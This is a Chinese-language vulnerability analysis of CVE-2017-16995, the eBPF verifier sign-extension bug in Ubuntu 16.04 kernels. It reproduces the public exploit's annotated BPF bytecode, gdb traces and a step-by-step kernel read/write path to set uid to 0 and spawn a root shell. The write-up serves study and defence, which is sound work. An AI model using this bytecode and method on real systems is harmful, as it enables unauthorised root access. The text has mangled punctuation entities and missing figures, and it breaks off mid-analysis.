【原创】深入分析Ubuntu本地提权漏洞CVE201716995

作者：蒓子2502883107 | 来源：互联网 | 2023-08-20 10:14

*本文首发阿里云先知安全技术社区，原文链接https:xz.aliyun.comt2212前言：2018年3月中旬，Twitter用户Vi

*本文首发阿里云先知安全技术社区&＃xff0c;原文链接https://xz.aliyun.com/t/2212

前言&＃xff1a;

2018年3月中旬&＃xff0c;Twitter 用户 &＃64;Vitaly Nikolenko 发布消息&＃xff0c;称 ubuntu 最新版本&＃xff08;Ubuntu 16.04&＃xff09;存在高危的本地提权漏洞&＃xff0c;而且推文中还附上了 EXP 下载地址。

由于该漏洞成功在aws Ubuntu镜像上复现&＃xff0c;被认为是0DAY&＃xff0c;引起了安全圈同学们的广泛关注。大体浏览了一下exp代码&＃xff0c;发现利用姿势很优雅&＃xff0c;没有ROP&＃xff0c;没有堆&＃xff0c;没有栈&＃xff0c;比较感兴趣&＃xff0c;不过等了几天也没发现有详细的漏洞分析&＃xff0c;正好赶上周末&＃xff0c;便自己跟了一下&＃xff1a;&＃xff09;

经过一番了解发现这个漏洞并不是什么0DAY&＃xff0c;最早是去年12月21号Google Project Zero团队的Jann Horn发现并报告的&＃xff0c;编号为CVE-2017-16995&＃xff0c;作者在报告该漏洞的时候附了一个DOS的POC。另外&＃xff0c;最早公开发布可成功提权exploit也不是Vitaly Nikolenko&＃xff0c;而是Bruce Leidl&＃xff0c;其在12月21号就把完整的提权exploit公布到了github上&＃xff0c;地址&＃xff1a;https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c。

技术分析

eBPF简介

众所周知&＃xff0c;linux的用户层和内核层是隔离的&＃xff0c;想让内核执行用户的代码&＃xff0c;正常是需要编写内核模块&＃xff0c;当然内核模块只能root用户才能加载。而BPF则相当于是内核给用户开的一个绿色通道&＃xff1a;BPF&＃xff08;Berkeley Packet Filter&＃xff09;提供了一个用户和内核之间代码和数据传输的桥梁。用户可以用eBPF指令字节码的形式向内核输送代码&＃xff0c;并通过事件&＃xff08;如往socket写数据&＃xff09;来触发内核执行用户提供的代码&＃xff1b;同时以map&＃xff08;key&＃xff0c;value&＃xff09;的形式来和内核共享数据&＃xff0c;用户层向map中写数据&＃xff0c;内核层从map中取数据&＃xff0c;反之亦然。BPF设计初衷是用来在底层对网络进行过滤&＃xff0c;后续由于他可以方便的向内核注入代码&＃xff0c;并且还提供了一套完整的安全措施来对内核进行保护&＃xff0c;被广泛用于抓包、内核probe、性能监控等领域。BPF发展经历了2个阶段&＃xff0c;cBPF&＃xff08;classic BPF&＃xff09;和eBPF&＃xff08;extend BPF&＃xff09;&＃xff0c;cBPF已退出历史舞台&＃xff0c;后文提到的BPF默认为eBPF。

eBPF虚拟指令系统

eBPF虚拟指令系统属于RISC&＃xff0c;拥有10个虚拟寄存器&＃xff0c;r0-r10&＃xff0c;在实际运行时&＃xff0c;虚拟机会把这10个寄存器一一对应于硬件CPU的10个物理寄存器&＃xff0c;以x64为例&＃xff0c;对应关系如下&＃xff1a;

R0 – rax

R1 - rdi

R2 - rsi

R3 - rdx

R4 - rcx

R5 - r8

R6 - rbx

R7 - r13

R8 - r14

R9 - r15

R10 – rbp&＃xff08;帧指针&＃xff0c;frame pointer&＃xff09;

每一条指令的格式如下&＃xff1a;

struct bpf_insn {__u8 code; /* opcode */__u8 dst_reg:4; /* dest register */__u8 src_reg:4; /* source register */__s16 off; /* signed offset */__s32 imm; /* signed immediate constant */
};

如一条简单的x86赋值指令&＃xff1a;mov eax,0xffffffff,对应的BPF指令为&＃xff1a;BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF)&＃xff0c;其对应的数据结构为&＃xff1a;

#define BPF_MOV32_IMM(DST, IMM) \((struct bpf_insn) { \.code &＃61; BPF_ALU | BPF_MOV | BPF_K, \.dst_reg &＃61; DST, \.src_reg &＃61; 0, \.off &＃61; 0, \.imm &＃61; IMM })

其在内存中的值为&＃xff1a;\xb4\x09\x00\x00\xff\xff\xff\xff。

关于BPF指令系统此处就不再赘述&＃xff0c;只要明确以下两点即可&＃xff1a;1.其为RISC指令系统&＃xff0c;也就是说每条指令大小都是一样的&＃xff1b;2.其虚拟的10个寄存器一一对应于物理cpu的寄存器&＃xff0c;且功能类似&＃xff0c;比如BPF的r10寄存器和rbp一样指向栈&＃xff0c;r0用于返回值。

BPF的加载过程

一个典型的BPF程序流程为&＃xff1a;

1. 用户程序调用syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申请创建一个map&＃xff0c;在attr结构体中指定map的类型、大小、最大容量等属性。

2. 用户程序调用syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))来将我们写的BPF代码加载进内核&＃xff0c;attr结构体中包含了指令数量、指令首地址指针、日志级别等属性。在加载之前会利用虚拟执行的方式来做安全性校验&＃xff0c;这个校验包括对指定语法的检查、指令数量的检查、指令中的指针和立即数的范围及读写权限检查&＃xff0c;禁止将内核中的地址暴露给用户空间&＃xff0c;禁止对BPF程序stack之外的内核地址读写。安全校验通过后&＃xff0c;程序被成功加载至内核&＃xff0c;后续真正执行时&＃xff0c;不再重复做检查。

3. 用户程序通过调用setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)将我们写的BPF程序绑定到指定的socket上。Progfd为上一步骤的返回值。

4. 用户程序通过操作上一步骤中的socket来触发BPF真正执行。

BPF的安全校验

Bpf指令的校验是在函数do_check中&＃xff0c;代码路径为kernel/bpf/verifier.c。do_check通过一个无限循环来遍历我们提供的bpf指令&＃xff0c;

理论上虚拟执行和真实执行的执行路径应该是完全一致的。如果步骤2安全校验过程中的虚拟执行路径和步骤4 bpf的真实执行路径不完全一致的话&＃xff0c;会怎么样呢&＃xff1f;看下面的例子&＃xff1a;

1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),             /* r9 &＃61; (u32)0xFFFFFFFF   */

2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),   /* if (r9 &＃61;&＃61; -1) {        */

3.BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */

4.BPF_EXIT_INSN()

5.……

第一条指令是个简单的赋值语句&＃xff0c;把0xFFFFFFFF这个值赋值给r9.

第二条指令是个条件跳转指令&＃xff0c;如果r9等于0xFFFFFFFF&＃xff0c;则退出程序&＃xff0c;终止执行&＃xff1b;如果r9不等于0xFFFFFFFF&＃xff0c;则跳过后面2条执行继续执行第5条指令。

虚拟执行的时候&＃xff0c;do_check检测到第2条指令等式恒成立&＃xff0c;所以认为BPF_JNE的跳转永远不会发生&＃xff0c;第4条指令之后的指令永远不会执行&＃xff0c;所以检测结束&＃xff0c;do_check返回成功。

真实执行的时候&＃xff0c;由于一个符号扩展的bug&＃xff0c;导致第2条指令中的等式不成立&＃xff0c;于是cpu就跳转到第5条指令继续执行&＃xff0c;这里是漏洞产生的根因&＃xff0c;这4条指令&＃xff0c;可以绕过BPF的代码安全检查。既然安全检查被绕过了&＃xff0c;用户就可以随意往内核中注入代码了&＃xff0c;提权就水到渠成了&＃xff1a;先获取到task_struct的地址&＃xff0c;然后定位到cred的地址&＃xff0c;然后定位到uid的地址&＃xff0c;然后直接将uid的值改为0&＃xff0c;然后启动/bin/bash。

漏洞分析

下面结合真实的exp来动态分析一下漏洞的执行过程。

Vitaly Nikolenko公布的这个exp&＃xff0c;关键代码就是如下这个prog数组&＃xff1a;

这个数组就是BPF的指令数据&＃xff0c;想要搞清楚exp的机理&＃xff0c;首先要把这堆16进制数据翻译成BPF指令&＃xff0c;翻译结果如下&＃xff1a;

bytes&＃61;"\xb4\x09\x00\x00\xff\xff\xff\xff"\ #BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 &＃61; (u32)0xFFFFFFFF */
"\x55\x09\x02\x00\xff\xff\xff\xff"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 &＃61;&＃61; -1) { */
"\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN()"\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9&＃61;mapfd */
"\x00\x00\x00\x00\x00\x00\x00\x00"\#BPF_MAP_GET(0, BPF_REG_6) r6&＃61;op&＃xff0c;取map的第1个元素放到r6
"\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 &＃61; r9 */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 &＃61; fp */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 &＃61; fp - 4 */
"\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx&＃61;0), /* *(u32 *)(fp - 4) &＃61; idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 &＃61;&＃61; 0) */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst &＃61; *(u64 *)(r0) */#BPF_MAP_GET(1, BPF_REG_7) r7&＃61;address&＃xff0c;取map的第2个元素放到r7
"\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 &＃61; r9 */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 &＃61; fp */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 &＃61; fp - 4 */
"\x62\x0a\xfc\xff\x01\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx&＃61;1), /* *(u32 *)(fp - 4) &＃61; idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 &＃61;&＃61; 0) */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x79\x07\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r7), BPF_REG_0, 0) /* r_dst &＃61; *(u64 *)(r0) */#BPF_MAP_GET(2, BPF_REG_8) r8&＃61;value&＃xff0c;取map的第3个元素放到r8
"\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 &＃61; r9 */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 &＃61; fp */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 &＃61; fp - 4 */
"\x62\x0a\xfc\xff\x02\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx&＃61;1), /* *(u32 *)(fp - 4) &＃61; idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 &＃61;&＃61; 0) */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x79\x08\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r8), BPF_REG_0, 0) /* r_dst &＃61; *(u64 *)(r0) */"\xbf\x02\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 &＃61; r0 */
"\xb7\x00\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 &＃61; 0 for exit(0) */
"\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op &＃61;&＃61; 0) */
"\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
"\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(),
"\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),
"\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x7b\x87\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */

在do_check上打个断点&＃xff0c;编译运行&＃xff0c;成功断了下来&＃xff0c;先看一下调用栈&＃xff1a;

(gdb) bt
#0 do_check (env&＃61;0xffff880078190000)at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:1724
#1 0xffffffff8117c057 in bpf_check (prog&＃61;0xffff880034003e10, attr&＃61;out>)at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:2240
#2 0xffffffff81178631 in bpf_prog_load (attr&＃61;0xffff880034003ee0)at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:679
#3 0xffffffff81178d3a in SYSC_bpf (size&＃61;48, uattr&＃61;out>, cmd&＃61;out>)at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:783
#4 SyS_bpf (cmd&＃61;5, uattr&＃61;140722476394128, size&＃61;48)at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:725
#5 0xffffffff8184efc8 in entry_SYSCALL_64 ()at /build/linux-fQ94TU/linux-4.4.0/arch/x86/entry/entry_64.S:193
#6 0x0000000000000001 in irq_stack_union ()
#7 0x0000000000000000 in ?? ()
(gdb)

首先看第一条赋值语句BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF)&＃xff0c;do_check中最终的赋值语句如下&＃xff1a;

其中dst_reg为虚拟执行过程中的寄存器结构体&＃xff0c;结构体定义如下&＃xff1a;

可以看到该结构体有2个字段&＃xff0c;第一个为type&＃xff0c;代表寄存器数据的类型&＃xff0c;此处为CONST_IMM&＃xff0c;CONST_IMM的值为8.另外一个为常量立即数的具体数值&＃xff0c;可以看到类型为int有符号整形。

我们在此处下断点&＃xff0c;可以看到具体的赋值过程&＃xff0c;如下:

(gdb) x/10 $rip-40xffffffff8117b0ac 5548>: mov DWORD PTR [rsi&＃43;rax*1&＃43;0x8],edx
&＃61;> 0xffffffff8117b0b0 5552>: jmp 0xffffffff8117a38c 2188>0xffffffff8117b0b5 5557>: mov rdi,QWORD PTR [rsp&＃43;0x38]0xffffffff8117b0ba 5562>: mov rdx,rax0xffffffff8117b0bd 5565>: movzx esi,al0xffffffff8117b0c0 5568>: and edx,0x180xffffffff8117b0c3 5571>: mov rdx,QWORD PTR [rdx-0x7e5db140]0xffffffff8117b0ca 5578>: movzx ecx,BYTE PTR [rdi&＃43;0x1]0xffffffff8117b0ce 5582>: movsx r8d,WORD PTR [rdi&＃43;0x2]0xffffffff8117b0d3 5587>: mov r9d,DWORD PTR [rdi&＃43;0x4]
(gdb) i r $edx
edx 0xffffffff -1
(gdb) x/10x $rsi&＃43;$rax
0xffff8800781930a8: 0x00000008 0x00000000 0xffffffff 0x00000000
0xffff8800781930b8: 0x00000006 0x00000000 0x00000000 0x00000000
0xffff8800781930c8: 0x00000000 0x00000000
(gdb)

$rsi&＃43;$rax处即为reg_state结构体&＃xff0c;可以看到第一个字段为8&＃xff0c;第二个字段为0Xffffffff。

然后我们跟进第二条指令中的比较语句BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2)&＃xff0c;do_check检测到跳转类指令时&＃xff0c;根据跳转类型进入不通的检测分支&＃xff0c;此处是JNE跳转&＃xff0c;进入check_cond_jmp_op分支&＃xff0c;如下图:

Do_check在校验条件类跳转指令的时候&＃xff0c;会判断条件是否成立&＃xff0c;如果是非确定性跳转的话&＃xff0c;就说明接下来2个分支都有可能执行&＃xff08;分支A和分支B&＃xff09;&＃xff0c;这时do_check会把下一步需要跳转到的指令编号&＃xff08;分支B&＃xff09;放到一个临时栈中备用&＃xff0c;这样当前指令顺序校验&＃xff08;分支A&＃xff09;过程中遇到EXIT指令时&＃xff0c;会从临时栈中取出之前保存的下一条指令的序号&＃xff08;分支B&＃xff09;继续校验。如果跳转指令恒成立的话&＃xff0c;就不会再往临时栈中放入分支B&＃xff0c;因为分支B永远不会执行&＃xff0c;如下图&＃xff1a;

第一个红框即为虚拟寄存器中的imm与指令中提供的imm进行比较&＃xff0c;这两个类型如下&＃xff1a;

可以看到等号两侧的数据类型完全一致&＃xff0c;都为有符号整数&＃xff0c;所以此处条件跳转条件恒成立&＃xff0c;不会往临时栈中push分支B指令编号。

接下来看BPF_EXIT_INSN()&＃xff0c;刚才提到在校验EXIT指令时&＃xff0c;会从临时栈中尝试取指令&＃xff08;调用pop_stack函数&＃xff09;&＃xff0c;如果临时栈中有指令&＃xff0c;那就说明还有其他可能执行到的分支&＃xff0c;需要继续校验&＃xff0c;如果取不到值&＃xff0c;表示当前这条EXIT指令确实是BPF程序最后一条可以执行到的指令&＃xff0c;此时pop_stack会返回-1&＃xff0c;然后break跳出do_check校验循环&＃xff0c;do_check执行结束&＃xff0c;校验通过&＃xff0c;如下图&＃xff1a;

跟进pop_stack&＃xff0c;如下图&＃xff1a;

实际执行过程如下&＃xff1a;

(gdb) x/10i $rip
&＃61;> 0xffffffff81178f29 9>: test r8,r8 //此处判断env->head是否为NULL0xffffffff81178f2c 12>: je 0xffffffff81178fb4 148> //为NULL时&＃xff0c;跳转到0xffffffff81178fb40xffffffff81178f32 18>: push rbp0xffffffff81178f33 19>: mov rax,rsi0xffffffff81178f36 22>: lea rcx,[rdi&＃43;0x18]0xffffffff81178f3a 26>: mov rdx,rdi0xffffffff81178f3d 29>: lea rdi,[rdi&＃43;0x20]0xffffffff81178f41 33>: mov rbp,rsp0xffffffff81178f44 36>: push r130xffffffff81178f46 38>: push r12
(gdb) i r $r8
r8 0x0 0
(gdb) x/10i 0xffffffff81178fb40xffffffff81178fb4 148>: mov eax,0xffffffff //pop_stack返回-10xffffffff81178fb9 153>: ret //pop_stack返回-10xffffffff81178fba: nop WORD PTR [rax&＃43;rax*1&＃43;0x0]0xffffffff81178fc0 : nop DWORD PTR [rax&＃43;rax*1&＃43;0x0]0xffffffff81178fc5 5>: push rbp0xffffffff81178fc6 6>: mov rbp,rsp0xffffffff81178fc9 9>: sub rsp,0x500xffffffff81178fcd 13>: mov rax,QWORD PTR gs:0x280xffffffff81178fd6 22>: mov QWORD PTR [rsp&＃43;0x18],rax0xffffffff81178fdb 27>: xor eax,eax
(gdb)

到此为止我们了解了BPF的校验过程&＃xff0c;这个exp一共有41条指令&＃xff0c;BPF只校验了4条指令&＃xff0c;然后返回校验成功。

接下来我们继续跟进BPF指令的执行过程&＃xff0c;对应的代码如下&＃xff08;路径为kernel/bpf/core.c&＃xff09;&＃xff1a;

其中DST为目标寄存器&＃xff0c;IMM为立即数&＃xff0c;我们跟进DST的定义&＃xff1a;

跟进IMM的定义&＃xff1a;

很明显&＃xff0c;等号两边的数据类型是不一致的&＃xff0c;所以导致这里的条件跳转语句的结果完全相反&＃xff0c;以下为实际执行过程&＃xff1a;

(gdb) x/10i $rip
&＃61;> 0xffffffff8117731f <__bpf_prog_run&＃43;2191>: cmp QWORD PTR [rbp&＃43;rax*8-0x270],rdx0xffffffff81177327 <__bpf_prog_run&＃43;2199>: je 0xffffffff81177d8a <__bpf_prog_run&＃43;4858>0xffffffff8117732d <__bpf_prog_run&＃43;2205>: movsx rax,WORD PTR [rbx&＃43;0x2]0xffffffff81177332 <__bpf_prog_run&＃43;2210>: lea rbx,[rbx&＃43;rax*8&＃43;0x8]0xffffffff81177337 <__bpf_prog_run&＃43;2215>: jmp 0xffffffff81176ae0 <__bpf_prog_run&＃43;80>0xffffffff8117733c <__bpf_prog_run&＃43;2220>: movzx eax,BYTE PTR [rbx&＃43;0x1]0xffffffff81177340 <__bpf_prog_run&＃43;2224>: mov edx,eax0xffffffff81177342 <__bpf_prog_run&＃43;2226>: shr dl,0x40xffffffff81177345 <__bpf_prog_run&＃43;2229>: and edx,0xf0xffffffff81177348 <__bpf_prog_run&＃43;2232>: cmp QWORD PTR [rbp&＃43;rdx*8-0x270],0x0
(gdb) i r $rdx
rdx 0xffffffffffffffff -1
(gdb) x/10x (rbp&＃43;rax*8-0x270)
No symbol "rbp" in current context.
(gdb) x/10x ($rbp&＃43;$rax*8-0x270)
0xffff880076143a78: 0xffffffff 0x00000000 0x76143c88 0xffff8800
0xffff880076143a88: 0x00000001 0x00000000 0x00000001 0x01000000
0xffff880076143a98: 0x746ee000 0xffff8800
(gdb)

等号两边的值完全不一样&＃xff0c;这里的跳转条件成立&＃xff0c;会往后跳2条指令继续执行&＃xff0c;和虚拟执行的过程相反。

接下来就是分析exp里面的BPF指令了&＃xff0c;通过自定义BPF指令&＃xff0c;我们可以绕过安全校验实现任意内核指针泄露&＃xff0c;任意内核地址读写。

构造一下攻击路径&＃xff1a;

1.申请一个MAP&＃xff0c;长度为3&＃xff1b;

2.这个MAP的第一个元素为操作指令&＃xff0c;第2个元素为需要读写的内存地址&＃xff0c;第3个元素用来存放读取到的内容。此时这个MAP相当于一个CC&＃xff0c;3个元素组成一个控制指令。

3.组装一个指令&＃xff0c;读取内核的栈地址。根据内核栈地址获取到current的地址。

4.读current结构体的第一个成员&＃xff0c;或得task_struct的地址&＃xff0c;继而加上cred的偏移得到cred地址&＃xff0c;最终获取到uid的地址。

5.组装一个写指令&＃xff0c;向上一步获取到的uid地址写入0.

6.启动新的bash进程&＃xff0c;该进程的uid为0&＃xff0c;提权成功。

Exp中就是按照如上的攻击路径来提权的&＃xff0c;申请完map之后&＃xff0c;首先发送获取内核栈地址的指令&＃xff0c;如下&＃xff1a;

bpf_update_elem(0, 0);

bpf_update_elem(1, 0);

bpf_update_elem(2, 0);

然后通过调用writemsg触发BPF程序运行&＃xff0c;BPF会进入如下分支&＃xff1a;

"\x18\x19\x00\x00\x03\x00\x00\x00"\ # BPF_LD_MAP_FD(BPF_REG_9, mapfd), /* r9&＃61;mapfd */
#BPF_MAP_GET(0, BPF_REG_6) r6&＃61;op
"\xbf\x91\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 &＃61; r9 */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 &＃61; fp */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\ #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 &＃61; fp - 4 */
"\x62\x0a\xfc\xff\x00\x00\x00\x00"\ #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx&＃61;0), /* *(u32 *)(fp - 4) &＃61; idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\ #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 &＃61;&＃61; 0) */
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */
"\x79\x06\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0) /* r_dst &＃61; *(u64 *)(r0) */

之前提到过&＃xff0c;BPF的r10寄存器相当于x86_64的rbp&＃xff0c;是指向内核栈的&＃xff0c;所以这里第一行指令将map的标识放到r9&＃xff0c;第二条指令将r9放到r1&＃xff0c;作为后续调用BPF_FUNC_map_lookup_elem函数的第一个参数&＃xff0c;第三条指令将内核栈指针赋值给r2&＃xff0c;第四条指令在栈上开辟4个字节的空间&＃xff0c;第五条指令将map元素的序号放到r2&＃xff0c;第六条指令取map中第r2个元素的值并把返回值存入r0&＃xff0c;第七条指令判断BPF_FUNC_map_lookup_elem有没有执行成功&＃xff0c;r0&＃61;0则未成功。成功后执行第9条指令&＃xff0c;将取到的值放到r6中。继续依次往下执行&＃xff0c;直到执行到下面的路径&＃xff1a;

"\x55\x06\x03\x00\x00\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3), /* if (op &＃61;&＃61; 0) */
"\x79\x73\x00\x00\x00\x00\x00\x00"\ #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
"\x7b\x32\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(),
"\x55\x06\x02\x00\x01\x00\x00\x00"\ #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),
"\x7b\xa2\x00\x00\x00\x00\x00\x00"\ #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\ #BPF_EXIT_INSN(), /* exit(0); */

判断r6是否为0&＃xff0c;为0说明是取栈地址的指令&＃xff0c;这时会往下跳3条指令&＃xff0c;继续执行第7条指令&＃xff0c;将r10的内容写入r2&＃xff0c;由于在执行第30条指令时r0指向map中的第二个元素&＃xff0c;所以这时r2也指向这个元素&＃xff0c;然后用户层通过get_value(2)取到了内核栈的地址&＃xff0c;我们通过给BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0)下断点&＃xff0c;可以看到过程如下&＃xff1a;

(gdb) x/20i 0xffffffff8117788b0xffffffff8117788b <__bpf_prog_run&＃43;3579>: movzx eax,BYTE PTR [rbx&＃43;0x1]0xffffffff8117788f <__bpf_prog_run&＃43;3583>: movsx rdx,WORD PTR [rbx&＃43;0x2]0xffffffff81177894 <__bpf_prog_run&＃43;3588>: add rbx,0x80xffffffff81177898 <__bpf_prog_run&＃43;3592>: mov rcx,rax0xffffffff8117789b <__bpf_prog_run&＃43;3595>: shr al,0x40xffffffff8117789e <__bpf_prog_run&＃43;3598>: and ecx,0xf0xffffffff811778a1 <__bpf_prog_run&＃43;3601>: and eax,0xf0xffffffff811778a4 <__bpf_prog_run&＃43;3604>: mov rcx,QWORD PTR [rbp&＃43;rcx*8-0x270]0xffffffff811778ac <__bpf_prog_run&＃43;3612>: mov rax,QWORD PTR [rbp&＃43;rax*8-0x270]0xffffffff811778b4 <__bpf_prog_run&＃43;3620>: mov QWORD PTR [rcx&＃43;rdx*1],rax
&＃61;> 0xffffffff811778b8 <__bpf_prog_run&＃43;3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run&＃43;80>0xffffffff811778bd <__bpf_prog_run&＃43;3629>: movzx eax,BYTE PTR [rbx&＃43;0x1]0xffffffff811778c1 <__bpf_prog_run&＃43;3633>: movsx rdx,WORD PTR [rbx&＃43;0x2]0xffffffff811778c6 <__bpf_prog_run&＃43;3638>: add rbx,0x80xffffffff811778ca <__bpf_prog_run&＃43;3642>: movsxd rcx,DWORD PTR [rbx-0x4]0xffffffff811778ce <__bpf_prog_run&＃43;3646>: and eax,0xf0xffffffff811778d1 <__bpf_prog_run&＃43;3649>: mov rax,QWORD PTR [rbp&＃43;rax*8-0x270]0xffffffff811778d9 <__bpf_prog_run&＃43;3657>: mov QWORD PTR [rax&＃43;rdx*1],rcx0xffffffff811778dd <__bpf_prog_run&＃43;3661>: jmp 0xffffffff81176ae0 <__bpf_prog_run&＃43;80>0xffffffff811778e2 <__bpf_prog_run&＃43;3666>: lfence (gdb) i r $rax
rax 0xffff8800758c3c88 -131939423208312
(gdb)

其中rax的值0xffff8800758c3c88即为泄露的内核栈地址&＃xff08;其实应该称为帧指针更准确&＃xff09;。

然后通过经典的addr & ~(0x4000 - 1)获取到current结构体的起始地址0xffff8800758c0000&＃xff0c;然后构造读数据的map指令去读current中偏移为0的指针值&＃xff08;即为指向task_struct的指针&＃xff09;&＃xff1a;

bpf_update_elem(0, 0);

bpf_update_elem(1, 0xffff8800758c0000);

bpf_update_elem(2, 0);

其中addr为当前线程current的值0xffff8800758c0000&＃xff0c;这样可以得到task_struct的地址&＃xff0c;

过程如下&＃xff1a;

